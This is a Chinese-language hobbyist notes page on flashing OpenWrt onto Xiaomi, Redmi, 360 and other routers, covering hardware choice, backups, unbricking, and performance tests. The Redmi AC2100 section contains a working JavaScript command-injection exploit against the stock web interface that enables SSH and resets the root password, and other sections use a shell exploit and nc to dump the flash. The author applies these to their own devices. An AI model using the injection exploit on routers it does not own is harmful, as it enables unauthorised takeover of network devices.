跳转至

openwrt 刷机

介绍了从硬件选择到刷机整个过程

Openwrt 硬件选择

如何选择一个可以刷 openwrt 的路由器?

小米路由器型号总结

CPU 分类

  • mt7621 型号
    • R3G:咸鱼 50 元左右,有 USB3.0 接口,128MB 的 flash。
    • 4A 千兆版:咸鱼 70 元左右,外观简约漂亮,16MB NOR flash 有点小。
    • C660x:咸鱼 100 多,支持 wifi6
  • 高通型号
    • 目前 (22.03) 只有 AX6S 是受 openwrt 官方支持的,AX6, AX3600 有第三方支持。AX5 等其余未支持
      • 不能刷好像是 linux kernel 还不支持高通的 IPQ SoC。
      • B 站看到说 AX5 刷 openwrt 需要硬改内存为 1G,好像说高通的 wifi 驱动非常耗内存
    • AX6S:220 左右
    • AX6:250-300 左右

小米系列产品

image-20221029213022447

参考

2023 wifi6产品

现在需求wifi6,且信号覆盖广

  • 小米wr30u:运营商定制版
  • 360 T7:和上者硬件一摸一样。12v 1A

wr30u: wifi6: 小米WR30U无线路由器拆机 AX3000联通定制版-路由器交流 (acwifi.net) 2023年支持刷机的路由器大全(建议收藏) - 知乎 (zhihu.com)

  • AX1800:cr660x
  • AX3000:cr880x:135

618 想买台路由器求推荐 - V2EX 150的T7 512改:WR30U路由到了随手测测 - PC数码 - Stage1st - stage1/s1 游戏动漫论坛 (saraba1st.com)

CPU对比

参考:

  • 树莓派系列处理器:Raspberry Pi Documentation - Processors
    • Raspberry Pi 2 Model B: BCM2836(quad-core Cortex-A7 )
    • Raspberry Pi 3 Model B:BCM2837( quad-core Cortex-A53@1.2)
      • 50% faster than the Raspberry Pi 2.
    • Raspberry Pi 3 Models A+, B+: BCM2837B0(quad-core Cortex-A53@1.4)
      • 17% faster than the original Raspberry Pi 3
    • Raspberry Pi 4 Model B: BCM2837(quad-core Cortex-A72@1.5 GHz)
      • 50% faster than the Raspberry Pi 3B+

2024 购入

xdr 4288TP-LINK轻舟XDR4288拆机,双频不对称空间流-路由器交流 (acwifi.net)

两三台组网用的话,这一台做主路由,也不需要多强的无线。如果要一台全能形的,就在6088和6086之间选择吧。都是低温低热的,相对高通IPQ5000系列方案的机型!京东价格669元,按需选择吧。

xdr 6088:轻舟XDR6088拆机,双2.5G网口的无线路由器-路由器交流 (acwifi.net)

发现直接看这里,就有推荐的性价比路由器:特价路由汇总-路由器交流 (acwifi.net)

  • 都说 xdr 5480 信号好。咸鱼价格 265 (2024/09/11)。但是不能刷 op, 有一个 SPF 2.5G 口(SPF 模块大概 50-100元)。适合做 AP。
  • xdr6088。咸鱼价格 419(2024/09/11)。某个版本可以免拆刷 op。双 2.5G
    • 7986A, 512+128

无线信号达到XDR5480/6088同级或以上的可魔改路由 - 电脑讨论(新) - Chiphell - 分享与交流用户体验

不过我感觉我需要一个不错的路由做主路由,同时软路由作为子路由。这样子可以避免软路由挂掉,整个网络挂掉。组网感觉在软路由上组。

刷机过程总结

以红米AC2100可能的刷机为例,涵盖了openwrt的各种情况:刷breed,恢复,临时镜像

  • 建议直接使用官方openwrt镜像 + 官方安装方式。几次使用breed都遇到了问题,而小米官方恢复工具也挺好用的。
  • 第一次自己刷机红米AC2100[[记录红米AC2100折腾]],一张精华图

    image-20210622145337241

  • 路由器刷出问题,修复经验。知道了备份的重要性[[记录记一次路由器刷出问题修复过程]]

小米路由器救砖

有官方 bootloader 的情况

说明:

官方的引导程序使用的是 uboot,位于 flash 的 Bootloader 分区,而官方固件则位于 OS1 分区(红米 AC2100)。正常刷 openwrt 的过程中不会修改 bootloader。只要还保留着官方 bootloader,就可以通过官方修复工具恢复。

步骤:

  1. 下载小米路由器修复工具和官方镜像:【下载汇总】客户端/ROM 下载 - 小米社区 (xiaomi.cn)
  2. 路由器通电,PC 通过网线连接到路由器 LAN 口
  3. 打开MIWIFIRepairTool.x86.exe
  4. 选择镜像
  5. 选择网卡(可以在网络中心中将其它网卡禁用)
  6. 断开路由器电源,按住 rst 键(也有可能需要用针戳),然后接上电源,等待黄灯闪烁(两个灯,一个是有电源标志,一个有互联网标志,这里为电源灯那个)
  7. 软件自动上传镜像
  8. 保持耐心等待路由器黄灯变蓝(中间过程保持黄灯),亲测需要 4 分钟
  9. 断电后重新接上电源,路由器重启

刷了 breed

说明:

breed 自身便是一个 bootloader,刷完 breed 后会覆盖原本的 bootloader。如果想复原,可通过 breed 的功能,重新刷回官方 bootloader。强烈建议刷 breed 前,先备份原本的 bootloader 以及整个 flash。如果没备份,这里是恩山上收集的小米官方 bootloader 下载论坛收集的几个小米路由器官方 bootloader - 恩山无线论坛

步骤:

  1. 通过 breed 刷回官方 bootloader
  2. 通过官方修复工具修复

常用操作

刷之前备份 mtd 分区

路由器 flash 有若干分区,其中有一个分区存储路由器 MAC 地址、无线校准参数等。若损坏可能导致无线信号弱等问题。因此刷之前最好备份。 查看 mtd 分区

root@XiaoQiang:~# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 07f80000 00020000 "ALL"
mtd1: 00080000 00020000 "Bootloader"
mtd2: 00040000 00020000 "Config"
mtd3: 00040000 00020000 "Bdata"
mtd4: 00040000 00020000 "Factory"
mtd5: 00040000 00020000 "crash"
mtd6: 00040000 00020000 "crash_syslog"
mtd7: 00040000 00020000 "reserved0"
mtd8: 00400000 00020000 "kernel0"
mtd9: 00400000 00020000 "kernel1"
mtd10: 02000000 00020000 "rootfs0"
mtd11: 02000000 00020000 "rootfs1"
mtd12: 03580000 00020000 "overlay"
mtd13: 012a6000 0001f000 "ubi_rootfs"
mtd14: 030ec000 0001f000 "data"

备份 factory 分区(小米路由器一般是 factory 存储了上述那些数据)

cat /dev/mtd4 > /tmp/factory.bin

之后通过 scp 复制到本地

snapshot 的说明

snapshot 是开发版分支

命令行安装 sysupgrade.bin

sysupgrade -v /tmp/firmware_image.bin

#If sysupgrade is not available.
# Flash firmware
mtd -r write /tmp/firmware_image.bin firmware

备份恢复 CLI

自己实现了一个自动配置 openwrt 脚本

性能测试

iperf3

ax6s & mi4a

测试目的 连接 src dst speed(Mb/s) 备注
ax6s LAN 性能 千兆 USB 网卡 tianyi310 ax6s 941
ax6s 无线性能 wifi6 5Ghz@1201 s3pro ax6s 626
mi4a LAN 性能 2.5G 网卡 ryzen mi4a 470
隧道性能 tianyi310 ryzen 118
隧道性能 mi4a ax6s 136
ax6s mi4a 149
mi4a 交换性能 ryzen - mi4a - p2w ryzen p2w 943 结果居然比 ryzen - mi4a 还要快!

将 r4a 替换掉后 | 测试目的 | src | dst | speed(Mb/s) | 备注 | | -------- | --------- | --------- | ----------- | ---- | | p2w | ryzen | p2w | 936 | | | | p2w | ryzen | 577 | | | 隧道性能 | p2w | ax6s | 150 | | | | ax6s | p2w | 250 | | | 隧道性能 | ryzen | tianyi310 | 295 | | | | tianyi310 | ryzen | 173 | | | | s3pro | ryzen | 256 | | | 780/886 | s3pro | p2w | 370 | | | | ryzen | s3pro | 274 | |

具体型号刷机过程

Redmi AC2100 刷 Openwrt

[OpenWrt Wiki] Xiaomi Redmi Router AC2100

1. 确认 stock 系统版本

确认系统版本是否为 2.0.23,如果不是,则在系统内手动升级到该版本 http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm2100/miwifi_rm2100_all_fb720_2.0.23.bin

2. 获得 ssh

使用 web 漏洞,获得 ssh

// Work for RedMi 2100 firmware 2.0.23
// http://cdn.cnbj1.fds.api.mi-img.com/xiaoqiang/rom/rm2100/miwifi_rm2100_all_fb720_2.0.23.bin

function getSTOK() {
    let match = location.href.match(/;stok=(.*?)\//);
    if (!match) {
        return null;
    }
    return match[1];
}

function execute(stok, command) {
    command = encodeURIComponent(command);
    let path = `/cgi-bin/luci/;stok=${stok}/api/misystem/set_config_iotdev?bssid=SteelyWing&user_id=SteelyWing&ssid=-h%0A${command}%0A`;
    console.log(path);
    return fetch(new Request(location.origin + path));
}

function enableSSH() {
    stok = getSTOK();
    if (!stok) {
        console.error('stok not found in URL');
        return;
    }
    console.log(`stok = "${stok}"`);

    password = prompt('Input new SSH password');
    if (!password) {
        console.error('You must input password');
        return;
    }

    execute(stok, 
`
nvram set ssh_en=1
nvram commit
sed -i 's/channel=.*/channel=\\"debug\\"/g' /etc/init.d/dropbear
/etc/init.d/dropbear start
`
    )
        .then((response) => response.text())
        .then((text) => console.log(text));
    console.log('New SSH password: ' + password);
    execute(stok, `echo -e "${password}\\n${password}" | passwd root`)
        .then((response) => response.text())
        .then((text) => console.log(text));
}

enableSSH();

3. 下载 openwrt 镜像

从官方下载最新镜像,注意有四个文件

  • kernel: 具有最少文件系统的 Linux 内核。对于首次安装或恢复很有用。
  • kernel1: Linux 内核作为单独的映像
  • rootfs0: 根文件系统作为单独的映像。
  • Sysupgrade: 使用 Sysupgrade 映像更新已经运行 OpenWrt 的路由器。该映像可以与 LuCI Web 界面或终端一起使用。

需要下载 kernel1 和 rootfs0

4. 备份

通过 dmesg,知道一共有 14 个 mtd 分区

[    2.940000] NAND device: Manufacturer ID: 0xc8, Chip ID: 0xd1 (ESMT NAND 128MiB 3,3V 8-bit), 128MiB, page size: 2048, OOB size: 64
[    2.950000] [NAND]select ecc bit:4, sparesize :64 spare_per_sector=16
[    2.950000] Scanning device for bad blocks
[    3.100000] Signature matched and data read!
[    3.110000] load_fact_bbt success 1023
...
[    3.190000] Creating 14 MTD partitions on "MT7621-NAND":
[    3.190000] 0x000000000000-0x000007f80000 : "ALL"
[    3.200000] 0x000000000000-0x000000080000 : "Bootloader"
[    3.210000] 0x000000080000-0x0000000c0000 : "Config"
[    3.210000] 0x0000000c0000-0x000000100000 : "Bdata"
[    3.220000] 0x000000100000-0x000000140000 : "Factory"
[    3.230000] 0x000000140000-0x000000180000 : "crash"
[    3.230000] 0x000000180000-0x0000001c0000 : "crash_syslog"
[    3.240000] 0x0000001c0000-0x000000200000 : "cfg_bak"
[    3.240000] 0x000000200000-0x000000600000 : "kernel0"
[    3.250000] 0x000000600000-0x000000a00000 : "kernel1"
[    3.260000] 0x000000a00000-0x000002400000 : "rootfs0"
[    3.260000] 0x000002400000-0x000003e00000 : "rootfs1"
[    3.270000] 0x000003e00000-0x000006400000 : "overlay"
[    3.280000] 0x000006400000-0x000007f80000 : "obr"
[    3.280000] [mtk_nand] probe successfully!

通过 cat /proc/mtd,知道对应关系

root@XiaoQiang:/tmp# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 07f80000 00020000 "ALL"
mtd1: 00080000 00020000 "Bootloader"
mtd2: 00040000 00020000 "Config"
mtd3: 00040000 00020000 "Bdata"
mtd4: 00040000 00020000 "Factory"
mtd5: 00040000 00020000 "crash"
mtd6: 00040000 00020000 "crash_syslog"
mtd7: 00040000 00020000 "cfg_bak"
mtd8: 00400000 00020000 "kernel0"
mtd9: 00400000 00020000 "kernel1"
mtd10: 01a00000 00020000 "rootfs0"
mtd11: 01a00000 00020000 "rootfs1"
mtd12: 02600000 00020000 "overlay"
mtd13: 01b80000 00020000 "obr"
mtd14: 00c1c000 0001f000 "ubi_rootfs"
mtd15: 021e8000 0001f000 "data"

备份,其中 Factory 中存储了 EEPROM 的数据

cat /dev/mtd4 > Factory.dump

scp复制到本地

5. 设置环境变量

设置环境变量(rm2100 有双系统用于备份保护,需要设置先启动哪一个)

# Enable uart and boot_wait, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set boot_wait=on
nvram set bootdelay=5

# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1

# Commit our nvram changes
nvram commit

6. 刷机

mtd write kernel1.bin kernel1
mtd -r write rootfs0.bin rootfs0

MI 4A 千兆版

官方教程:[OpenWrt Wiki] Xiaomi Mi Router 4A Gigabit Edition

warning

  • 2022/10:v2版本的4A千兆版无法刷op。原版使用的是Winbond or GigaDevice 的 flash 芯片,我手头的是 GigaDevice 的GD25Q127CSIG。新版使用 Eon or CFeon 的芯片,还在支持中。
  • 老版的有无线屏蔽,而在售的没有

说明

可以漏洞获取 shell,不必使用硬件编程器

2022/11/6日,因刷breed bootloader,使得 MI 4A 变砖。忠告:别用 breed,会变得不幸。(你 tm 支持 r3g,不支持 mi 4a 能不能写清楚)

步骤

~~1. 首先需要使用OpenWRTInvasion获取 shell。参考:acecilia/OpenWRTInvasion(github.com)

~~同时,该仓库也提供了获得 shell 后的刷机过程。不过使用官方的OpenWRTInvasion会从 github 上下载文件,而因为网络原因可能会失败。恩山论坛中有用户提供了修改代码的离线版本,可以搜索使用。 不过也可以自行修改代码:修改script.sh,将其中的链接替换成本地链接。可以使用 python -m http.server 运行一个小的 http 服务,提供下载。例:

curl -L "https://github.com/acecilia/OpenWRTInvasion/raw/master/script_tools/busybox-mipsel" --insecure --output busybox

#改为,ip 需要调整
curl "http://192.168.31.189:8000/busybox-mipsel" --output busybox
  1. 现在官方仓库集成了本地服务器的功能,直接运行脚本即可。但是官方仓库却放弃了对 windows 的支持,不过亲测在 git bash 中运行没有问题,只需要把脚本开头的检测注释掉即可。
# if platform.system() == "Windows":
#     sys.exit("Stopping: script can only be run on a Mac/Linux system")
  1. 之后使用 telnet 进行连接,成功获得 shell 如图所示
telnet 192.168.31.1 #账号root, 密码root

image-20221030210955796 3. 接着上传 openwrt 镜像 (使用 sysupgrade bin) 到路由器中,可以使用 python 搭建 http 文件服务器。最后运行 mtd 等待路由器重启完成即可。

#window上, sysupgrade.bin所在目录
python -m http.server

#路由器上
cd /tmp
curl -O http://<windows ip>:8000/sysupgrade.bin
mtd -e OS1 -r write sysupgrade.bin OS1

参考

breed 使用说明:https://www.sohu.com/a/304140654_120096961 breed 刷 openwrt 教程 https://www.ixigua.com/6974624328725824031

EEPROM 下载

eeprom 里有 mac 和 sn 等信息,如果 sn 丢失刷官方 bootloader 刷回原厂也不能绑定手机 app 的

我看了下果然是错的,我之前也是这个情况,后来分析了下把 eeprom 用上了正确的就好了,你刷我这个 eeprom,如果还不行就刷我的解锁分区的 lede 固件,用 mtd 命令刷写,ssh 上路由,本地 scp 命令拷贝上传到 tmp 目录,
mtd -r write /tmp/eeprom.bin factory
重启完了就 ok
刷完 mac 会变,把你的 mac 地址改成你原来的 mac 地址。
如果有原来的固件备份,发我我来帮你提取

EEPROM 修改

【新提醒】关于新 3(newifi 3) 的 eeprom 文件中 MAC-SN 等参数位置-newifi 无线路由器及网络设备 - 恩山无线论坛 - Powered by Discuz! (right.com.cn)

用 SSH 登录进入路由器的 Console 台后,用命令 (cat /proc/mtd)的输出中,Factory区对应的就是无线和MAC/SN等的配置文件。 这个文件备份出来后,大小为 64KB,可以在 breed 中更新 eeprom 处刷入路由器。

(下图为解锁后的输出) 用 WinHex 打开备份的文件 (假设为 eeprom.bin)

1) 路由器的 SN

路由器的 SN 号在路由器的背面贴纸处有,SN 的存储在这个文件中的偏移 0x7000(处),格式为以 MND 开头,如下:

2) 路由器的 MAC 地址

路由器的 MAC 号在路由器的背面贴纸处有,MAC 的存储在这个文件中的偏移 0xE000(处),格式为连续的两个 MAC 地址,共占 12 字节。 分别为起始”MAC 地址 - 结束 MAC 地址”, 结束 MAC 地址为起始 MAC 地址的最后一个字节内容 +2. 如图: 起始 MAC 地址:20 76 93 48 A9 1F (路由器背面处的贴纸) 结束 MAC 地址:20 76 93 48 A9 21

3) 和无线有关的参数

2.4G 无线的 BSSID 在文件开头偏移 0x4-0x9 处,总共 6 字节,如下图所示:

5G 无线的 BSSID 在偏移 0x8004-0x8009 处,总共 6 字节,(2.4G 无线的 BSSID 与 5G-BSSID 的最后一个字节内容相差 2)。如下图所示:

和无线有关的参数应该是在偏移 0x8000-0x80C0 处。看网友们改的话,都是在 0x8060-0x809F 这三行上修改,由于没有具体说明参数含义,因此不推荐自己修改。 如图所示:

4) 未知的内容

文件开头的 0x56-0x61 偏移处,一共 12 字节,分为 2 组。前 6 字节和后 6 字节内容也比较相似。不是 mac 也不是 bssid.

另外在偏移 0x8060-0x80A0 共 4 行内,有几个参数是以 5 个字节为一组的参数,具体格式特征如下: 00 00 26 xx xx, 或者 00 01 26 xx xx, 或者 00 02 26 xx xx 等。

建议: 可以用其它人的 EEPROM 固件,仅仅修改 MAC 和 SN (可选:BSSID) 为自己的路由器的即可,不推荐自己修改无线参数部分内容。

MI R3G

官方教程:[OpenWrt Wiki] Xiaomi Mi WiFi R3G (Mi Wifi Router 3G / MIR3G / MI3G / mi4a Gigabit)

r3g 官方固件下载:OpenWrt Firmware Selector

准备

  • FAT32 格式 U 盘
  • 一枚针用于戳路由器 reset 键
  • 手机安装 MIWIFI app

开启 ssh

  1. 更新为小米开发版固件:https://bigota.miwifi.com/xiaoqiang/rom/r3g/miwifi_r3g_firmware_12f97_2.25.124.bin

  2. 下载小米路由器手机客户端 (应用商店 MI WIFI) 软件,绑定路由器

  3. 根据 https://d.miwifi.com/rom/ssh,开启 SSH

    p.s. 1. 即使是同一型号,miwifi_ssh.bin 也是不同的;2. ssh 密码显示在该页面

    1. 请将下载的工具包 bin 文件复制到 U 盘(FAT/FAT32 格式)的根目录下,保证文件名为 miwifi_ssh.bin;
    2. 断开小米路由器的电源,将 U 盘插入 USB 接口;
    3. 按住 reset 按钮之后重新接入电源,指示灯变为黄色闪烁状态即可松开 reset 键;
    4. 等待 3-5 秒后安装完成之后,小米路由器会自动重启,之后您就可以尽情折腾啦:)

备份

查看 mtd 分区

root@XiaoQiang:~# cat /proc/mtd
dev:    size   erasesize  name
mtd0: 07f80000 00020000 "ALL"
mtd1: 00080000 00020000 "Bootloader"
mtd2: 00040000 00020000 "Config"
mtd3: 00040000 00020000 "Bdata"
mtd4: 00040000 00020000 "Factory"
mtd5: 00040000 00020000 "crash"
mtd6: 00040000 00020000 "crash_syslog"
mtd7: 00040000 00020000 "reserved0"
mtd8: 00400000 00020000 "kernel0"
mtd9: 00400000 00020000 "kernel1"
mtd10: 02000000 00020000 "rootfs0"
mtd11: 02000000 00020000 "rootfs1"
mtd12: 03580000 00020000 "overlay"
mtd13: 012a6000 0001f000 "ubi_rootfs"
mtd14: 030ec000 0001f000 "data"

备份 factory 分区

cat /dev/mtd4 > /tmp/factory.bin

#on windows
scp root@192.168.33.193:/tmp/factory.bin .
scp root@192.168.33.228:/tmp/factory.bin .

刷 openwrt

mtd write openwrt-18.06.2-ramips-mt7621-mir3g-squashfs-kernel1.bin kernel1
mtd write openwrt-18.06.2-ramips-mt7621-mir3g-squashfs-rootfs0.bin rootfs0
nvram set flag_try_sys1_failed=1
nvram commit
reboot

AX6S

步骤

[OpenWrt Wiki] Xiaomi AX3200 / Redmi AX6S YangWang92/AX6S-unlock (github.com) [2-2]AX6S 闭源无线驱动Openwrt 刷机教程/固件下载-小米无线路由器及小米网络设备-恩山无线论坛 (right.com.cn)

  • telnet 后手动开启 ssh

    /etc/init.d/dropbear start
    

    ​ tips: 使用 git-bash 版本的 ssh 连接报错。使用 cmd 的 ssh 可以。

    Unable to negotiate with 192.168.31.1 port 22: no matching host key type found. Their offer: ssh-rsa
    
  • 必须添加 boot_fw1 改行,否则重启后进入原系统。

    nvram set ssh_en=1
    nvram set uart_en=1
    nvram set boot_wait=on
    nvram set flag_boot_success=1
    nvram set flag_try_sys1_failed=0
    nvram set flag_try_sys2_failed=0
    nvram set "boot_fw1=run boot_rd_img;bootm"
    nvram commit
    
  • 刷写 factory.bin-> firmware 分区

AX6S 为国内版,国外版称为 AX3200

坑:sysupgrade 变砖

不知道为什么 wifi 下载速度只能跑到 100Mbps,win11 中显示链接速度一边很低。因此想要升级下系统。

2024-06-02 从 22 升级到 23.05.3 后,机器启动一直反复黄灯。升级时保留了配置。暂时不清楚是什么原因

发现是个普遍问题,官方文档里写了。

AX6S刷OP必砖-小米无线路由器及小米网络设备-恩山无线论坛 (right.com.cn) https://openwrt.org/toh/xiaomi/ax3200#upgrading_openwrt AX6s 变砖了,有大神可以看看如何救砖吗?-小米无线路由器及小米网络设备-恩山无线论坛 (right.com.cn)

救砖

结果两个方法对我都没用。

发现问题在于把 mesh 按钮看成了 reset 键。导致第一步进入 reset 模式就失败了,网卡没有初始化,PC 上显示为未连接。(为了发现这一点对“reset”后黄灯的亮的规律进行了计时,发现按不按,都是12s左右灭一次)

正确的按 reset 后,通过 tftp 方法恢复了原厂系统。

之后通过 telnet 的方式,刷入了 23.5.2 的 factory。恢复 backup 的配置,就回到了之前的状态。

竞斗云 2.0(P&W)

资料

[OpenWrt Wiki] P&W R619AC

教程

需要先刷入 opboot(一个第三方 bootloader)竞斗云 2 刷 opboot - 路由智态 (red-yellow.net)

然后再刷 openwrt。 编译:竞斗云 2 的 OpenWrt 固件 - 路由智态 (red-yellow.net) 刷的这里作者提供的 immortalwrt:【新提醒】【2023-6-13】竞斗云 2.0P&W-R619AC OPENWRT 固件 | 插件全面 | 多版本-OPENWRT 专版 - 恩山无线论坛 - Powered by Discuz! (right.com.cn)

之前使用 switch 官方固件 22.03,看到 device 有 eth0, eth1,然后 switch 界面可以设置 4 个 lan 口 但是问题是只要一改动 vlan 设置,通过 wan 口(开启 192.168.99.0 的 dhcp)访问 p2w 就会掉

后面刷了一个其它人编译的 immortalwrt 固件,发现其实只有一个 eth0。wan 口 eth0.2 是一个 vlan。switch 界面有 4 个 lan 和 1 个 wan 可以配置。 这下配置 switch vlan 异常稳定顺畅

这里 CPU 端口的 tag 和 untag

  • 设置为 off,则不存在 eth0.3 设备
  • 设置为 tag 则 eth0.3 上 tcpdump 能收到很多包
  • 设置为 untag,则收不到包

收到的包其实只有广播等情况,否则包直接从特定端口出去了,不会往其它端口发。

root@p2w:~# tcpdump -ni eth0.3 host 114.214.236.72
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on eth0.3, link-type EN10MB (Ethernet), capture size 262144 bytes
q01:50:16.005639 IP 114.214.236.72.45520 > 239.255.255.250.1900: UDP, length 94
01:50:16.006412 ARP, Request who-has 114.214.236.74 tell 114.214.236.72, length 46
01:50:16.173072 ARP, Request who-has 114.214.236.96 tell 114.214.236.72, length 46
01:50:16.926278 ARP, Request who-has 114.214.236.200 tell 114.214.236.72, length 46

遇到问题

经常性的掉网络,研究后发现是 ap 的 br-lan 和上游无法连接了。通过无线手动设置静态 ip 可以连上 p2w。尝试 ping 网关地址,发现 eth0.1 上能抓到 arp 包,但是上游对应 bridge 却抓不到。反过来,上游 arping ap 地址,ap 也收不到包。

  • 测试如果把连接 ap 的网线连接笔记本,网络是正常的,因此排除上游问题。
arping -i interface 测试二层是否通
arp查看当前mac表
tcpdump -ni eth0.1 arp

没办法,不知如何解决,只好重装了官方 22.03.5 的系统。官方系统把 wan 单独拿了出来作为 eth1,而 switch 界面可以配置 eth0 和剩余四个端口

360 T7

基本参数

mt7681:2xA53@1.3GHz 256 RAM+ 128 NAND

价格

  • 原版 118x2 包邮,魔改 512 内存版:150

待机 60 多度有毒,看来还是需要自己加散热片

40(30,最小覆盖两个的距离) x25(深度 10mm)

  • 13x7
  • 12x13 25x25
  • 10x12 30x25(深度:15mm)
  • 13x14

单个芯片:14x14 整个盖住:25x25,30x20

hanwckf's blog 360 T7 刷 openwrt 教程|最强的百元路由器 | 酱紫表 (qust.me) 【新提醒】360T7 openwrt 固件发布,感谢 H 大-OPENWRT 专版 - 恩山无线论坛 - Powered by Discuz! (right.com.cn) 提到了 ipv6 + wiregaurd + hnat 有问题?[避坑] 360T7 - V2EX

准备

硬件

  • 拆机工具:螺丝刀,撬片(没它真打不开)
  • usb 转 ttl 模块,杜邦线公对母

软件

1. 拆机和 TTL 模块连接

拆机注意:

  • 路由器只有两个螺丝,都被背面贴纸盖住了
  • 一共有 2+8 个卡口,非常难拆。优先从路由器下方撬开,然后再两侧,最后上侧比较容易。

TTL 模块连接 板子左上角四个触孔,从上到下:RX, TX, GND。波特率 115200

  • 注意,对应 TTL 模块一侧,RX 需要对应 TX,TX 对应 RX

2. TTL 进入 failsafe 模式开启 telnet

原理

  • 原系统使用 uboot,但是关闭了 uboot 菜单,开机后会直接引导内核
  • 原系统引导过程中支持 failsafe 模式,进入后可以 mount_root,对文件系统进行修改,从而可以开启 telnet

过程

进入后

# 开启uboot控制台菜单
fw_setenv bootmenu_delay 3

# 挂载rootfs并开启telnet
mount_root
sed -i 's/.*local debug=.*/\tlocal debug=1/' /etc/init.d/telnet

# 修改root密码
passwd root

# 重启
reboot

可以选择备份固件

  • 注意千万不要 ping,否则无法 ctrl-c
  • nc 结束后会自动退出,128MB 的 flash 不到 1 分钟能够下载完。
# 将电脑的IP地址设置为192.168.1.8,插入路由器LAN口
# 使用nc监听3333端口并写入all.bin
# Windows系统可以使用netcat
# nc -l -p 3333 > all.bin

# 在路由器failsafe模式下开启网络
ifconfig eth0 0.0.0.0
brctl addbr br-lan
ifconfig br-lan 192.168.1.1 netmask 255.255.255.0 up
brctl addif br-lan eth0

# 读取/dev/mtd0,使用nc发送到192.168.1.8:3333
cat /dev/mtd0 | nc 192.168.1.8 3333

3. 刷改版 uboot 并刷固件

改版 uboot 功能详细介绍:mt798x uboot 功能介绍 (hanwckf.top)

  • 如果使用原版 uboot,则固件大小最多只能使用 36MB,改版支持 108MB
  • 支持 webui 方便刷固件

步骤

  • 上一步开启 telnet 后,正常重启系统
  • telnet 连接路由器,root 用户名,密码为上一步修改的密码
  • 本地 python 搭建一个 http 服务,路由器上通过 wget 下载改版 uboot
  • 刷写

    mtd write 360t7-fip-fixed-parts.bin fip
    
  • 按住 reset 键,插上路由器电源,保持 3 秒左右,灯变为绿色
  • 设置静态 ip 192.168.1.2,即可打开路由器 web 界面。
  • 选择固件上传即可(需要对应改版 uboot 分区格式的)

性能问题

wifi 跑不到千兆

360t7, QWRT

NAME="OpenWrt"
VERSION="SNAPSHOT"
ID="openwrt"
ID_LIKE="lede openwrt"
PRETTY_NAME="OpenWrt SNAPSHOT"
VERSION_ID="snapshot"
HOME_URL="https://openwrt.org/"
BUG_URL="https://bugs.openwrt.org/"
SUPPORT_URL="https://forum.openwrt.org/"
BUILD_ID="r5044-12209a7f2"
OPENWRT_BOARD="mediatek/mt7981"
OPENWRT_ARCH="aarch64_cortex-a53"
OPENWRT_TAINTS="no-all"
OPENWRT_DEVICE_MANUFACTURER="OpenWrt"
OPENWRT_DEVICE_MANUFACTURER_URL="https://openwrt.org/"
OPENWRT_DEVICE_PRODUCT="Generic"
OPENWRT_DEVICE_REVISION="v0"
OPENWRT_RELEASE="OpenWrt SNAPSHOT r5044-12209a7f2"

root@360T7 ➜  ~ uname -r
5.4.243

无线极限速率

cpu 占用 150%

root@360T7 ➜  ~ iperf3 -c 192.168.35.135
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec  1.12 GBytes   962 Mbits/sec  310             sender
[  5]   0.00-10.00  sec  1.12 GBytes   962 Mbits/sec                  receiver


root@360T7 ➜  ~ iperf3 -c 192.168.35.135 -P 4
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.00  sec   438 MBytes   368 Mbits/sec  1219             sender
[  5]   0.00-10.01  sec   438 MBytes   367 Mbits/sec                  receiver
[  7]   0.00-10.00  sec   278 MBytes   234 Mbits/sec  201             sender
[  7]   0.00-10.01  sec   278 MBytes   233 Mbits/sec                  receiver
[  9]   0.00-10.00  sec   174 MBytes   146 Mbits/sec  275             sender
[  9]   0.00-10.01  sec   174 MBytes   145 Mbits/sec                  receiver
[ 11]   0.00-10.00  sec   311 MBytes   261 Mbits/sec  1025             sender
[ 11]   0.00-10.01  sec   311 MBytes   260 Mbits/sec                  receiver
[SUM]   0.00-10.00  sec  1.17 GBytes  1.01 Gbits/sec  2720             sender
[SUM]   0.00-10.01  sec  1.17 GBytes  1.01 Gbits/sec                  receiver

root@360T7 ➜  ~ iperf3 -c 192.168.35.135 -R
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.00  sec   816 MBytes   684 Mbits/sec                  sender
[  5]   0.00-10.00  sec   815 MBytes   683 Mbits/sec                  receiver
$ iperf3.exe -B 192.168.35.135 -c 192.168.35.1
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.00  sec  1.08 GBytes   930 Mbits/sec                  sender
[  5]   0.00-10.02  sec  1.08 GBytes   927 Mbits/sec                  receiver

$ iperf3.exe -B 192.168.35.135 -c 192.168.35.1 -R
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.02  sec  1.05 GBytes   900 Mbits/sec   30             sender
[  5]   0.00-10.00  sec  1.05 GBytes   900 Mbits/sec                  receiver

$ iperf3.exe -B 192.168.35.135 -c 192.168.35.253
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.00  sec   820 MBytes   688 Mbits/sec                  sender
[  5]   0.00-10.01  sec   820 MBytes   688 Mbits/sec                  receiver
$ iperf3.exe -B 192.168.35.135 -c 192.168.35.253 -R
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
[  5]   0.00-10.01  sec  1.18 GBytes  1.01 Gbits/sec   22             sender
[  5]   0.00-10.00  sec  1.18 GBytes  1.01 Gbits/sec                  receiver

$ iperf3.exe -B 192.168.35.135 -c 192.168.35.2
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate
[  5]   0.00-10.00  sec  1.08 GBytes   924 Mbits/sec                  sender
[  5]   0.00-10.07  sec  1.08 GBytes   918 Mbits/sec                  receiver
$ iperf3.exe -B 192.168.35.135 -c 192.168.35.2 -R
- - - - - - - - - - - - - - - - - - - - - - - - -
[ ID] Interval           Transfer     Bitrate         Retr
